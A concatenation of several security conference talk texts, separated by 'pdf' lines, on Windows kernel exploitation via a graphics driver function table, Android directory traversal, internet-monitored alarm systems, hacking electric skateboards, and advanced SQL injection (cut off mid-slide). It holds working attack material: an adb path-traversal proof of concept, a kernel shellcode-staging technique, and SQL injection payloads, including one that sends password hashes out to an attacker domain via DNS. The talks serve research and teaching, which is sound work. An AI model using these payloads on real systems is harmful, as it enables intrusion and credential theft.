shown below When the system call is invoked it gets transferred to the kernel driver win32k.sys which dispatches it to win32kfull.sys, which in turn dispatches it to win32kbase.sys. In win32kbase.sys the function table gDxgkInterface is referenced and a call is made to offset 0x68. The execution flow can be seen below All the involved drivers only implement very thin trampolines around the system call. The consequence is that no arguments are modified, which was the second requirement for. When performing testing an overwrite of the DxgkCreateAllocation function pointer does not cause any unintended problems due to additional calls, which was the third and final requirements. To use NtGdiDdDDICreateAllocation and the gDxgkInterface function table, the latter must be writable. Inspecting the Page Table Entry is seen below 27 While the content of the Page Table Entry may be hard to interpret directly, it can be printed according to the structure _MMPTE_HARDWARE and shows the function table to be writable In principle, all the elements needed are in place, the idea is to overwrite the function pointer DxgkCreateAllocation at offset 0x68 in the function table gDxgkInterface with ExAllocatePoolWithTag followed by a call to NtGdiDdDDICreateAllocation specifying NonPagedPoolExecute as pool type. The remaining practical issue is locating the gDxgkInterface function table. We have several KASLR bypasses to locate the base address of ntoskrnl.exe, but so far, no ways to find other drivers. The structure PsLoadedModuleList in ntoskrnl.exe contains the base address of all loaded kernel modules, thus finding other kernel drivers in memory is possible. The structure of the doubly-link list given by PsLoadedModuleList is shown below Thus, iterating through the linked list until the correct name in offset 0x60 is found will allow for reading the base address at offset 0x30. Locating the PsLoadedModuleList structure directly using the previously mentioned algorithm to find function addresses does not work since this is not a function, but just a pointer. A lot of functions use the structure so it is possible to find the pointer from one of these. KeCapturePersistentThreadState in ntoskrnl.exe uses PsLoadedModuleList which can be seen below 28 It is possible to use the function finding algorithm to locate KeCapturePersistentThreadState and then dereference PsLoadedModuleList, which in turn will give the base address of any loaded kernel module. While getting the base address of win32kbase.sys is possible, the problem of locating the function table gDxgkInterface is the same as finding the PsLoadedModuleList pointer. A better approach is finding a function which uses the function table and then read the address of gDxgkInterface from that. One viable function is DrvOcclusionStateChangeNotify in the kernel driver win32kfull.sys, which has the disassembly shown below From this function pointer, the function table can be found, which allows for overwriting the DxgkCreateAllocation function pointer with ExAllocatePoolWithTag. 29 Following the pool allocation, the shellcode can be written to it using the kernel-mode write primitive. Finally, the gDxgkInterface function table can be overwritten again with the pool address followed by an additional call to NtGdiDdDDICreateAllocation. The arguments for the NtGdiDdDDICreateAllocation function call is the address of DxgkCreateAllocation and its original place in the function table. This allows the shellcode to restore the function pointers in the function table, thus preventing any future calls to NtGdiDdDDICreateAllocation crashing the operating system.
pdf
General ways to find and exploit directory traversals on Android Xiang Xiaobo (Elphet) @ 360 Alpha Team About Us • Alpha Team @360 Security • 100+ Android vulnerabilities(Google Qualcomm etc) • Won the highest reward in the history of the ASR program. • 5 Pwn contest winner • Pwn2Own Mobile 2015( Nexus 6) • Pwn0Rama 2016 (Nexus 6p) • Pwn2Own 2016(Chrome) • PwnFest 2016(Pixel) • Pwn2Own Mobile 2017(Galaxy S8) Agenda • Concept and Impacts • Where and how to find directory traversal issues • Tricks for exploiting • How to fix What is directory traversal • A controllable or partially controllable file name. • Lack of file name canonicalization • Can be exploited with a malfored filename: • ../../../../../../data/data/com.vulnerable.app/files/plugin.so Impacts of traversal • Arbitrary file reading via traversal • Information leakage ( token, user info, etc. ) • Clone Attack • Arbitrary file Writing • Phishing • Denial of Service • Account Replacement • Arbitrary code execution • Clone Attack Agenda • Concept and Impacts • Where and how to find directory traversal issues • Tricks for exploiting • How to fix Where to find Directory traversal • Opening file in exported content provider • Attachment saving in mailbox application • Manually decompressing archives in Web-browser/File Manager • Downloading and unzipping resources during running • Unsafe unzipping files in the SD Card • Transferring files in Instant Messaging Apps • Syncing files in Cloud Drive Apps • Backup and restore • … Directory traversal in exported Content provider • exported:true • Overrided openFile method in the content provider • Vulnerable code snippet • PoC: • adb shell content open content://mydownloadcontentprovider/..%2f..%2f..%2f..%2f..%2fsdcard%2freadme.t xt Attachment saving in mailbox apps • There are two fields that must be canonicalized • Filename1 specifies the attachment name for gmail • Filename2 specifies the attachment name for outlook • We can specify these fields with a python script Attachment saving in mailbox apps Zip decompress in web browser or file manager apps • Steps to verify: • Download a malformed zip file/ store a malformed zip file on the sdcard • Manually trigger the decompress operation. • Generate a malformed zip file: • case: • CVE-2018- 8084 Directory traversal in Sogou Browser Downloaded zip resources • Vulnerable • Static analysis or scanners • grep --include *.smali -r zipEntry . • Controllable • Attack surfaces • Insecure Communication / Insecure Storage / Exported Components • Static analysis • Recursively find the caller of target function • Dynamic analysis • Hooking • MITM Hooking • Hooking File.exists() to intercept all reading actions • Filter files that end with “.zip” • Print the stack backtrace to see whether it is controllable Directory Traversal in Instant Messaging Apps • Steps to find directory traversals in IM • send a file with malformed filename to the target • the target clicks or downloads the file to trigger a directory traversal • How can we send a malformed file • MITM • Hooking • Repackaging or recompiling Possibility of MITM • Example Base64.decode( x-obs-parms): Case via hooking • CVE-2018-10067 Directory travsesal in QQ series products • We can modify the filename via hooking during sending Case via repackaging or recompling • CVE-2017-17715 Directory travsersal in Telegram Messenger ( Discovered by Natalie) • Didn’t canonicalize the filename during downloading document • How to specify a malformed file name during sending file • Repackaging or recompiling Agenda • Concept and Impacts • Where and how to find directory traversal issues • Tricks for exploiting • Conclusion Categories of directory traversal • Be able to read arbitrary files • Logic bugs in exported components • Be able to Overwrite arbitrary files directly • Path traversal in unzip • Sync directory of a Cloud Apps • Be able to write, but cannot overwrite files • Download a document and rename if file already exists in Document Apps • Download an attachment and rename if file already exists in Mailbox • Download an arbitrary file and rename if file already exists in Instant Messaging Apps Tricks for exploiting • Files to be used by an application • General Files • SharedPreference in /data/data/<package name>/shared_prefs/<sp>.xml • Sqlite Databases in /data/data/<package name>/databases/<db>.db • Plugins • shared libraries/ dex / jar / apk • pre download, dynamically load and unload • Hot patches • Fix critical vulnerabilities by pushing emergency patches • Combine with multi-dex mechanism • Executables • eg. watch_server CVE-2018-8084 Directory traversal in Sogou Browser • Allows overwriting files directly • there’re so many shared libraries exists in /data/data/sogou.mobile. explorer/ • we overwrites a proper one to get a shell • libvplayer.so CVE-2018-5722 directory traversal in Tencent QQ Mail • Directory traversal in Attachment downloads • Vulnerable when logging in with Gmail or Gmalified address (Hotmail/Yahoo) • Controllable file name of attachment • lacking of cananicalization • Dangerous hot patches with multi-dex • Using File.listFiles(DexFilter) to find all dex files in a certain directory and load them directly • Exploit • /data/data/<package name>/app_moai_patch/a.dex • Smali injection to classes to be load CVE-2018-5722 directory traversal in Tencent QQ Mail • Directory traversal in Attachment downloads • Vulnerable when logging in with Gmail or Gmalified address (Hotmail/Yahoo) • Controllable file name of attachment • lacking of canonicalization • Dangerous hot patches with multi- dex • Using File.listFiles(DexFilter) to find all dex files in a certain directory and load them directly CVE-2018-5192 Directory travseral in Netease Mail Master • Directory traversal in Attachment downloading • Similar to directory travseral in QQ Mail • Vulnerable when logging in with Gmail or Gmalified address (Hotmail/Yahoo) • Controllable file name of attachment • lacking of canonicalization • Dangerous advertisement plugin loading and updating • It loads finalcore.jar after launch • Update finalcore.jar by rename newcore.jar to finalcore.jar if exists • Exploit: • We can place “newcore.jar”, and wait for reloading CVE-2017-17715 Directory traversal in Telegram (Discovered by Natalie) • Directory traversal in Downloading documents • Cannot overwrite existing files. • Controllable file name of documents • lacking of canonicalization when downloading • The implementation of tgnet module is dangerous • Exploit1: • We can place tgnet.dat.bak file and wait for loading • Results in a crash / possibility of session hijacking CVE-2017-17715 Directory traversal in Telegram • Exploit #2 • The implementation in AOSP also has backup file restore logic • This is a general way to overwrite files if we can not overwrite files directly CVE-2017-17715 Directory traversal in Telegram • Exploit #2 • What can we overwrite • tgnet.dat • userconfing.xml • What can we do • Account replacing • Session hijack • Device binding and force logout SharePreferences • Items we could hijack: • Download URLs • plugins • Patches • new APKs • Version code • Update schedule • Update file hash • Servers • Server IP an Port • DNS server • Proxy server • … Agenda • Concept and Impacts • Where and how to find directory traversal issues • Tricks for exploiting • How to fix How to Fix • Rename or concat the downloaded files with a hash • Always canonicalize the user- controllable filename • Avoid reading important files on the SD card • Check the integrity of important files • … THANKS Q&A
pdf
The Completion Backwards Principle Bringing Layer 0 Issues To Layer 3 ● geoffrey ● Defcon 0x0F Alarm Systems ● Fire – Actively detects a fire – Alerts inhabitants, and /or authorities ● Burglar – Detects intrusion into the facility premises – Alerts inhabitants, and /or authorities – Often co-exists with a Fire alarm system Anatomy of a Burglar Alarm ● Basic Topology – Panel – Sensors ● Motion ● Glass Break ● Door Triggers ● Smoke/Fire – Monitoring Method ● What good is an unwatched alarm system? (D)Evolution of Monitoring ● Leased Lines – Dedicated & Expensive ● POTS Lines – Common in all buildings & Cheap ● Cellular/RF – Cheaper & Subject to outages ● Internet – Lowest cost – Subject to whims of your ISP/Script Kiddies Internet Monitoring Hardware ● DMP – ICOM/ICOM-E ● Honeywell – AlarmNet-i(7845i) DMP ICOM-E ● Choose udp or tcp – Default protocol is udp ● Port is Configurable – Default value is 2001 ● AES is only available algorithm – 128 bit ● POTS Dialer if no Central Station contact Honeywell AlarmNet-i ● Only uses tcp ● Port 54109 ● Choice of encryption algorithm – 256 bit AES (UL Certified) – Blowfish* (Factory Default) ● POTS Dialer if no Central Station contact ● No open ports; ether identifies as Ademco IP Reporting Characteristics ● DMP – Uses port 2001 ● Port is configurable – Defaults to udp – Reports to CSC-1R ● AlarmNet-i – Uses port 54109 ● Port is not a configurable option – Only uses tcp for network traffic – Reports to AlarmNet 7810iR AlarmNet-i Traffic ● AlarmNet-i => 7810iR TCP [SYN] Seq=0 Len=0 MSS=1460 ● 7810iR => AlarmNet-i TCP [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1380 ● AlarmNet-i => 7810iR TCP [ACK] Seq=1 Ack=1 Win=5840 Len=0 ● AlarmNet-i => 7810iR TCP [PSH, ACK] Seq=1 Ack=1 Win=5840 Len=68 ● 7810iR => AlarmNet-i TCP [PSH, ACK] Seq=1 Ack=69 Win=5772 Len=52 ● AlarmNet-i => 7810iR TCP [RST, ACK] Seq=69 Ack=53 Win=5788 Len=0 ● ● AlarmNet-i => 7810iR TCP [SYN] Seq=0 Len=0 MSS=1460 ● 7810iR => AlarmNet-i TCP [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1380 ● AlarmNet-i => 7810iR TCP [ACK] Seq=1 Ack=1 Win=5840 len=0 ● AlarmNet-i => 7810iR TCP [PSH, ACK] Seq=1 Ack=1 Win=5840 Len=68 ● 7810iR => AlarmNet-i TCP [PSH, ACK] Seq=1 Ack=69 Win=5772 Len=68 ● AlarmNet-i => 7810iR TCP [RST, ACK] Seq=69 Ack=69 Win=5772 Len=0 ICOM-E Traffic ● ICOM-E => SCS-1R TCP [SYN] Seq=0 Len=0 MSS=1408 ● SCS-1R => ICOM-E TCP [SYN, ACK] Seq=0 Ack=1 Win=299 Len=0 MSS=260 ● ICOM-E => SCS-1R TCP [PSH, ACK] Seq=1 Ack=1 Win=2816 Len=51 ● SCS-1R => ICOM-E TCP [ACK] Seq=1 Ack=52 Win=299 Len=0 ● SCS-1R => ICOM-E TCP [PSH, ACK] Seq=1 Ack=52 win=299 Len=35 ● ICOM-E => SCS-1R TCP [FIN, ACK] Seq=52 Ack=36 Win=2816 Len=0 ● SCS-1R => ICOM-E TCP [ACK] Seq=36 Ack=53 Win=299 Len=0 ● SCS-1R => ICOM-E TCP [FIN, ACK] Seq=36 Ack=53 Win=299 Len=0 ● ICOM-E => SCS-1R TCP [ACK] Seq=53 Ack=37 Win=2815 Len=0 ● ● ICOM-E => SCS-1R TCP [SYN] Seq=0 Len=0 MSS=1408 ● SCS-1R => ICOM-E TCP [SYN, ACK] Seq=0 Ack=1 Win=299 Len=0 MSS=260 ● ICOM-E => SCS-1R TCP [PSH, ACK] Seq=1 Ack=1 Win=2816 Len=51 ● SCS-1R=> ICOM-E TCP [ACK] Seq=1 Ack=52 Win=299 Len=0 ● SCS-1R => ICOM-E TCP [PSH, ACK] Seq=1 Ack=52 Win=299 Len=19 ● ICOM-E => SCS-1R TCP [ACK] Seq=52 Ack=20 Win=2816 Len=0 ● ICOM-E => SCS-1R TCP [FIN, ACK] Seq=52 Ack=20 Win=2816 Len=0 ● SCS-1R => ICOM-E TCP [ACK] Seq=20 Ack=53 Win=299 Len=0 ● SCS-1R => ICOM-E TCP [FIN, ACK] Seq=20 Ack=53 Win=299 Len=0 ● ICOM-E => SCS-1R TCP [ACK] Seq=53 Ack=21 Win=2815 Len=0 Deployment Considerations ● Network traffic needs close monitoring – Worms may adversely affect alarm system ● Monitor System and Main Panel Config – Dialer lines may violate U.S. Govt. rules ● DCID 6/9 Annex B – Defaults (DMP) allow config changes via LAN ● Oversee install and config of panel/device(s) – LAN connectivity means access for users ● Need segregation – Best to pull in separate ISP line & physically isolate Deployment Considerations ● Network QOS now important!!! – Chatty boxes retard system monitoring – Routing issues adversely affect monitoring ● Disaffected youth talk to your alarm – The Internet is an undesirable neighborhood ● Alarm system now network node – Flashlight luggers must befriend black t-shirts Disruption Scenarios ● No (apparent) attack surface – Speak IP – What happens if we flood the network? ● Depends on your reporting window – What happens if we send repeated RSTs? – Can we poison arp? ● Haven't had luck with this, as of yet – DNS poisoning doesn't seem to matter ● Or does it? ● Systems only use IPs One Solution ● Disclaimer – Not endorsed by U.S. Government ● Based upon – Common sense – My own experience – Purloined Install Guides My Solution ● Brought in separate DSL line – Different ISP from our Primary – DSL account is in individual's name – Basic Internet Service ● Bespoke embedded firewall – Soekris net4801 ● Moving to rack mountable Soekris net5501s – Linux System built from sources Why not COTS firewall ● Potentially less cost ● More control over configuration – Standardize platform/hardware across sites ● Unusual choices – Logger is syslog-ng – Include Logwatch and Logrotate – Include Ssmtp to move logs Firewall Issues ● How do we safely monitor logs? – logger over stunnel to central logserver – Logwatch & Cron use Ssmtp to email reports ● How often do we patch system? – Now controlled by staff – Patches only update code we want patched ● No unwanted dependencies ● How to protect the firewall itself? – Customize ruleset as needed – Include Inline Snort functionality? Future ● Work with community members – Develop traffic signatures to identify devices ● Hoping to identify MiTM attack possibilities – Testing effectiveness of encryption usage ● Crypto is not my forte ● System appears to use a timestamp for iv – Discuss possibility of IPSec usage ● In the preliminary stages only – Releasing firewall codebase ● All suggestions for improvement are welcome ● http://chickendance.deussexmachina.org/ Questions?
pdf
Hacking electric skateboards: vehicle research for mortals Richo Healey & Mike Ryan @mpeg4codec / Hacking Electric Skateboards / @rich0H Who are these jerks anyway ‣ richo ‣ Computer Jerk ‣ @rich0H ‣ Duck Enthusiast ‣ Ran WrongIslandCon ‣ mike ‣ Bluetooth Guy ‣ @mpeg4codec ‣ Owner/Operator of conscience (sometimes) @mpeg4codec / Hacking Electric Skateboards / @rich0H Why buy an $nK skateboard? ‣ Lightweight ‣ (relatively) inexpensive ‣ .. maybe wanted on the hype train early @mpeg4codec / Hacking Electric Skateboards / @rich0H Why buy an $nK skateboard? ‣ Lightweight ‣ (relatively) inexpensive ‣ .. maybe wanted on the hype train early ‣ Maybe to hax it @mpeg4codec / Hacking Electric Skateboards / @rich0H Why hax a $1k skateboard? ‣ Because it’s there ‣ Vehicle research is cool ‣ But not all of us can afford to brick a car ‣ Figured we might be able to illustrate a point about the state of security research @mpeg4codec / Hacking Electric Skateboards / @rich0H The boards ‣ Boosted @mpeg4codec / Hacking Electric Skateboards / @rich0H The boards ‣ Evolve @mpeg4codec / Hacking Electric Skateboards / @rich0H The boards ‣ Yuneec E-go @mpeg4codec / Hacking Electric Skateboards / @rich0H Maybe you’ve spotted the design trend here @mpeg4codec / Hacking Electric Skateboards / @rich0H Hope yer wearin’ yer lernin’ b00tz Agenda ‣ Boosted ‣ Bluetooth GATT ‣ Jammers ‣ PyBT ‣ Evolve ‣ … bluetooth? ‣ Weird RF protocols ‣ E-go ‣ … wifi?! ‣ Boosted (Redux) ‣ Fiiiiiirmware! @mpeg4codec / Hacking Electric Skateboards / @rich0H Or whatever Right so like hacking ‣ Most of these boards use bluetooth ‣ I know nothing about bluetooth ‣ I know mike though ‣ mike knows bluetooth ‣ How hard can this possibly be? @mpeg4codec / Hacking Electric Skateboards / @rich0H Boosted @mpeg4codec / Hacking Electric Skateboards / @rich0H Boosted ‣ Bluetooth Remote ‣ Regenerative Braking ‣ Firmware Upgradable @mpeg4codec / Hacking Electric Skateboards / @rich0H Storytime Co-opting a GATTling gun Bluetooth and You ‣ Bought some uberteeth ‣ Looked at some packets ‣ Now what? Bluetooth and You ‣ Modern bluetooth supports some crypto ‣ Using it would have made our lives annoying ‣ No crypto though ‣ Go team! A clever pun about gatt GATT ‣ Handle-wise communication ‣ Supports either request-response or datagram like ‣ Sits on BLE Looks like dis … many beers later painstakingly reversed with love ‣ Simple Duplex protocol ‣ Controller sends on handle 0x1a ‣ Reads on handle 0x1c ‣ Basically a bluetooth -> serial adaptor … many beers later Message Direction Meaning RC0 Remote -> Board Speed control FUEL Remote -> Board Fetch current battery load REXP Remote -> Board Set expert mode RBGN Remote -> Board Set beginner mode GAUGE[1-5] Board -> Remote Inform current battery load painstakingly reversed with love but how 2 talking? We know its language ‣ Bluetooth comms turn out to be sorta miserable ‣ Especially for general purpose applications ‣ x10000 for ad-hoc, general purpose applications The old school ‣ Ubertooth ‣ “minimal” ‣ BlueZ ‣ Full featured, but heavy ‣ Not super fond of doing obviously broken things ‣ (Like fuzzing embedded devices) @mpeg4codec / Hacking Electric Skateboards / @rich0H Welcome to the new school PyBT ‣ Userland bluetooth stack implemented in Python ‣ Backs onto scapy for actually talking to the wire ‣ Uses HCI_CHANNEL_USER ‣ Prototyping++ ‣ https://github.com/mikeryan/PyBT Now what Neat we can spin the wheels ‣ Need to be connected to the board to exploit ‣ Only one thing can be connected at a time ‣ Thinking back to that intersection ‣ richo demonstrates again that he has no idea: ‣ “How hard can jamming bluetooth be?” Super hard, it turns out Jamming bluetooth: ‣ Naive approach: ‣ Yell really loud ‣ Noone can hear anything ‣ ?????? ‣ Profit…..? Super hard, it turns out Jamming bluetooth: Super hard, it turns out Jamming bluetooth: Seriously like crazy hard Jamming Bluetooth ‣ It’s like they designed the protocol itself to stop us from doing this exact thing ‣ By this point richo is no longer allowed to make suggestions Seriously like crazy hard Jamming Bluetooth ‣ Bluetooth’s channel hopping stops us from jamming effectively ‣ Channel hopping is deterministic ‣ Need some state- Gotta capture: ‣ Access address ‣ Hop interval ‣ Hop increment Seriously like crazy hard Jamming Bluetooth Upstreamed: https://github.com/greatscottgadgets/ubertooth Time to launch some jerks Demo Time! ‣ The plan: ‣ Setup a bunch of jammers ‣ Configure our repl to connect and autoreverse throttle ‣ Wait for hapless skateboarder ‣ Jam ‣ Connect ‣ Reverse ‣ ????? ‣ Launch some jerk Time to launch some jerks Demo Time! He’ll be like: Time to launch some jerks Demo Time! And we’ll be like: Time to launch some jerks Demo Time! Boosted Response: not-horrible/10 Followup ‣ Reported to Boosted before Kiwicon last year ‣ Shaky start ‣ Wound up working with us ‣ Implemented a fix! (kinda) @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolve @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolve ‣ Says bluetooth on the site ‣ Spoilers: This is not a True Fact™ ‣ Better range than boosted ‣ Janky looking remote ‣ Made of carbon though? ‣ So that’s neat I guess ‣ ¯\_()_/¯ @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ It says bluetooth right there on the tin ‣ We’re crazy cocky at this point ‣ “We oughta have this done by lunch” @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ Pull out the harness we used on Boosted @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ No packets this time :( ‣ richo is a goddamn hipster and lives in SF ‣ goddamn hipsters in SF love wifi/bt ‣ richo’s apartment might be the RF noisiest environment in the whole universe ‣ The moratorium on richo giving advice has expired by this point ‣ “We’ll build a faraday cage!” @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ Snowboard bindings box wrapped in tinfoil ‣ Works terrifyingly well ‣ Seriously wtf tho where’s the bluetooth @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ merijn very kindly lent us his skateboard ‣ We should probably pull it to pieces and look at it ‣ Unclear if we ever mentioned that we were going to do this or that we did
 ‣ (Hi Merijn btw we pulled apart your skateboard) @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ Pulled the remote apart ‣ Looked up the rf part ‣ er, this is not a bluetooth chip ‣ Neither of us have even heard of this thing ‣ nRF24LE @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ Talks PowerThirst™ @mpeg4codec / Hacking Electric Skateboards / @rich0H @mpeg4codec / Hacking Electric Skateboards / @rich0H @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ Er, ShockBurst™ @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ WTF is this thing? ‣ Antennae? ‣ Way too big for 2.4ghz @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ No obvious path to glory ‣ No hackRF at my place ‣ Can’t fiddle with its radio today ‣ Let’s just dump traffic directly ‣ Hey didn’t I impulse buy a saleae a while ago? @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ Dumped everything ‣ Nothing terribly interesting looking ‣ ¯\_()_/¯ @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ No dice on the remote ‣ Let’s fiddle with the board instead!
 ‣ (Hi Merijn) @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ Cramped AF ‣ Traced most of it out though ‣ Off the shelf parts ‣ Explained a bunch of hilarious bugs @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ ShockBurst is simplex ‣ Hence no data to the remote ‣ Not especially complex ‣ Does have a 9 member bitfield though to make our lives miserable ‣ Less tolerant to interference than BT @mpeg4codec / Hacking Electric Skateboards / @rich0H Demo Time! ‣ Inject packets into evolve ‣ ???? ‣ Profit! @mpeg4codec / Hacking Electric Skateboards / @rich0H Evolution ‣ Sadly not much else to do here ‣ Outside of “Attacker has physical access” scenarios there’s not much to attack @mpeg4codec / Hacking Electric Skateboards / @rich0H E-go @mpeg4codec / Hacking Electric Skateboards / @rich0H Taming a wild ego ‣ Says bluetooth all over it ‣ Has a smartphone app ‣ Has to be bluetooth right? @mpeg4codec / Hacking Electric Skateboards / @rich0H Taming a wild ego ‣ Didn’t take a good photo :( ‣ Sadly it can’t actually drive an ubertooth (yet?) ‣ Sniffed a lot of bluetooth ‣ No packets again ‣ WTF? @mpeg4codec / Hacking Electric Skateboards / @rich0H Taming a wild ego ‣ WTF is this switch on the side? ‣ BT|WIFI ‣ … no ‣ … … NO @mpeg4codec / Hacking Electric Skateboards / @rich0H Taming a wild ego ‣ Yup this damn thing talks bluetooth *and* wifi ‣ Paired with a phone it’s bluetooth ‣ Paired with the remote it’s wifi @mpeg4codec / Hacking Electric Skateboards / @rich0H Demo: pwning ego @mpeg4codec / Hacking Electric Skateboards / @rich0H Boosted: Redux Persistence Remote code execution on a skateboard, you say? ‣ From pulling the board apart we knew it was a pic24f ‣ Didn’t have much luck initially trying to find debug ports on the skateboard ‣ Later discovered that we missed them ‣ A few months later though, this happens: Persistence Remote code execution on a skateboard, you say? Persistence Remote code execution on a skateboard, you say? Persistence Remote code execution on a skateboard, you say? Persistence Remote code execution on a skateboard, you say? ‣ Has a firmware update facility ‣ This oughta be good ‣ Upgrade one of our boards ‣ Dump bluetooth traffic with jailbroken iThing ‣ Dump https traffic with burp ‣ Both sides of the conversation, hopefully we learn how to upload + format firmware Persistence RCE on a skateboard, you say? ‣ many hours later we’ve stitched a firmware blob together out of the dumps ‣ Strings are encoded as, eg: ‣ “F\x00U\x00\E\x00L\x00” => “FUEL” ‣ Write a dumb python script to strip nulls, strings(1) to the rescue ‣ Learn about a bunch of new commands! … many many beers later Message Direction Meaning RC0 Remote -> Board Speed control FUEL Remote -> Board Fetch current battery load REXP Remote -> Board Set expert mode RBGN Remote -> Board Set beginner mode GAUGE[1-5] Board -> Remote Inform current battery load PING Remote -> Board Fetch version information GIT Remote -> Board Fetch git revision of firmware STAT Remote -> Board Fetch detailed diagnostic info NUMSKL Remote -> Board Still no idea. Replies “NUMSKL4” ODO Remote -> Board Fetch current odometer reading SOC Remote -> Board Still no idea painstakingly reversed with love Persistence RCE on a skateboard, you say? ‣ With this in hand, richo writes a repl for boosted boards ‣ Nico works out how to unbrick a skateboard when we inevitably screw this up ‣ https://github.com/richo/skateboard/blob/master/ boosted_repl.py Persistence RCE on a skateboard, you say? ‣ Finally, it’s time to reverse the transfer protocol ‣ Winds up like intel .hex over bluetooth Length Address Flags Data Checksum Persistence RCE on a skateboard, you say? ‣ Becomes: Persistence RCE on a skateboard, you say? ‣ What do you even *do* with code execution on a skateboard? ‣ Could definitely make the board dangerous to its rider ‣ Seemed funnier to make it pretend to be Joshua from WARGAMES In which we make a $2k paperweight Demo Time! These jerks are alright Gr33tz and Th4nx ‣ nico, who showed up at the last second and helped us hax firmware, is an Arduino Uno expert ‣ merijn for lending us his evolve despite it obviously being a Bad Idea ‣ whatever chump bought the e-go at the auction ‣ Boosted ‣ Evolve ‣ Yuneec
pdf
Advanced SQL Injection Presented By: Joe McCray [email protected] http://twitter.com/j0emccray http://www.linkedin.com/in/joemccray The Last of a Dying Breed A Network Penetration Tester You know – the nmap, exploit, upload netcat type of guy. A.K.A: The only black guy at security conferences Joe McCray.... Who the heck are you? Step 1: Tell customer you are 31337 security professional Customers only applied patches if it fixed something on the system It was common practice NOT to apply system updates that didn't fix a problem you were experiencing on a system (WTF ARE YOU DOING - YOU MIGHT BREAK SOMETHING!!!!!) Step 2: Scan customer network with ISS or Nessus if you were a renegade Customers didn't apply patches, and rarely even had firewalls and IDSs back then You know you only ran ISS because it had nice reports... Step 3: Break out your uber 31337 warez and 0wn it all!!!!! You only kept an exploit archive to save time (Hack.co.za was all you needed back then) If you could read the screen you could 0wn the network!!!!!!! Penetration Testing Was Easy.... If you were Ub3r 31337 you did it like this.... Port Scan & Banner Grab The Target Get your exploit code... Own the boxes and take screen-shots Write The Report... Get Paid.... More Security Measures are being implemented on company networks today Firewalls are common place (perimeter and host-based) Anti-Virus is smarter (removes popular hacker tools, and in some cases stops buffer overflows Intrusion Detection/Prevention Systems are hard to detect let alone bypass NAC Solutions are making their way into networks Network/System Administrators are much more security conscious IT Hardware/Software vendors are integrating security into their SDLC Geez...That's A Lot To Bypass ...I used to think Web App Security was stupid sh*t “…This stuff isn't hacking" …but then I saw demo of a tool called sqlninja upload nc.exe to a host vulnerable to sql injection I was hooked!!!!!!!!!!!!!!!!!!!! What Did It For Me Getting started Background Basic Attack Methods SQL Injection In The Real World Ugh...WTF???? Filter & IDS Evasion Javascript Validation Serverside Filters IDS Signatures WAF Evasion Agenda I submitted a talk entitled “SQL Injection for Mere Mortals” and it didn't get accepted. Sorry – I am not covering the basics.... I am NOT going to teach you the basics of SQL I am NOT going to teach you the basics of SQL Injection Buy me rum and coke tonight, and I'll teach you anything I know about it later Assumptions... SQL Injection can be broken up into 3 classes Inband - data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page Out-of-Band - data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester) Inferential - there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the website/DB Server. 3 Classes of SQLI Data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page So this is our Error-Based, and Union-Based SQL Injections http://[site]/page.asp?id=1 or 1=convert(int,(USER))-- Syntax error converting the nvarchar value '[j0e]' to a column of data type int. Inband: Data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester). This is another way of getting the data out of the server (such as http, or dns). http://[site]/page.asp?id=1;declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pwn3dbyj0e.com' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini''');-- Out-of-band: If the application returns an error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and therefore understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. The latter case is known as "Blind SQL Injection". http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:10'-- Ask it if it's running as 'sa' Inferential: Automated tools are a great way to identify SQLI...... Yeah they are……just be conscious of the different SQL Injection Types.... What About Tools???? So let's start with some tools you can use to identify SQLI as well as the type they generally identify. mieliekoek.pl (error based) wpoison (error based) sqlmap (blind by default, and union if you specify) wapiti (error based) w3af (error, blind) paros (error, blind) sqid (error) Joe, I am sick of this sh*t what the heck to you mean by error based, blind and union? SQL Vuln Scanners SQL Injection Types Error-Based SQL Injection Union-Based SQL Injection Blind SQL Injection Error: Asking the DB a question that will cause an error, and gleening information from the error. Union: The SQL UNION is used to combine the results of two or more SELECT SQL statements into a single result. Really useful for SQL Injection :) Blind: Asking the DB a true/false question and using whether valid page returned or not, or by using the time it took for your valid page to return as the answer to the question. My Methodology How I test for SQL Injection Identify * Identify The Injection (Tool or Manual) * Determine Injection Type (Integer or String) Attack * Error-Based SQL Injection (Easiest) * Union-Based SQL Injection (Great for data extraction) * Blind SQL Injection (Worst case....last resort) Now that you understand that there are 3 primary types of SQL Injection.... - Can you understand why being able to test for SQLI manually is important? - SQL Injection Scanners will generally look for 1 type of injection..... - The scanner may tell you the site isn't vulnerable when it really is. Why Focus On Manual Testing Is it integer or string based? Integer Injection: http://[site]/page.asp?id=1 having 1=1-- Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. String Injection: http://[site]/page.asp?id=x' having 1=1-- Column 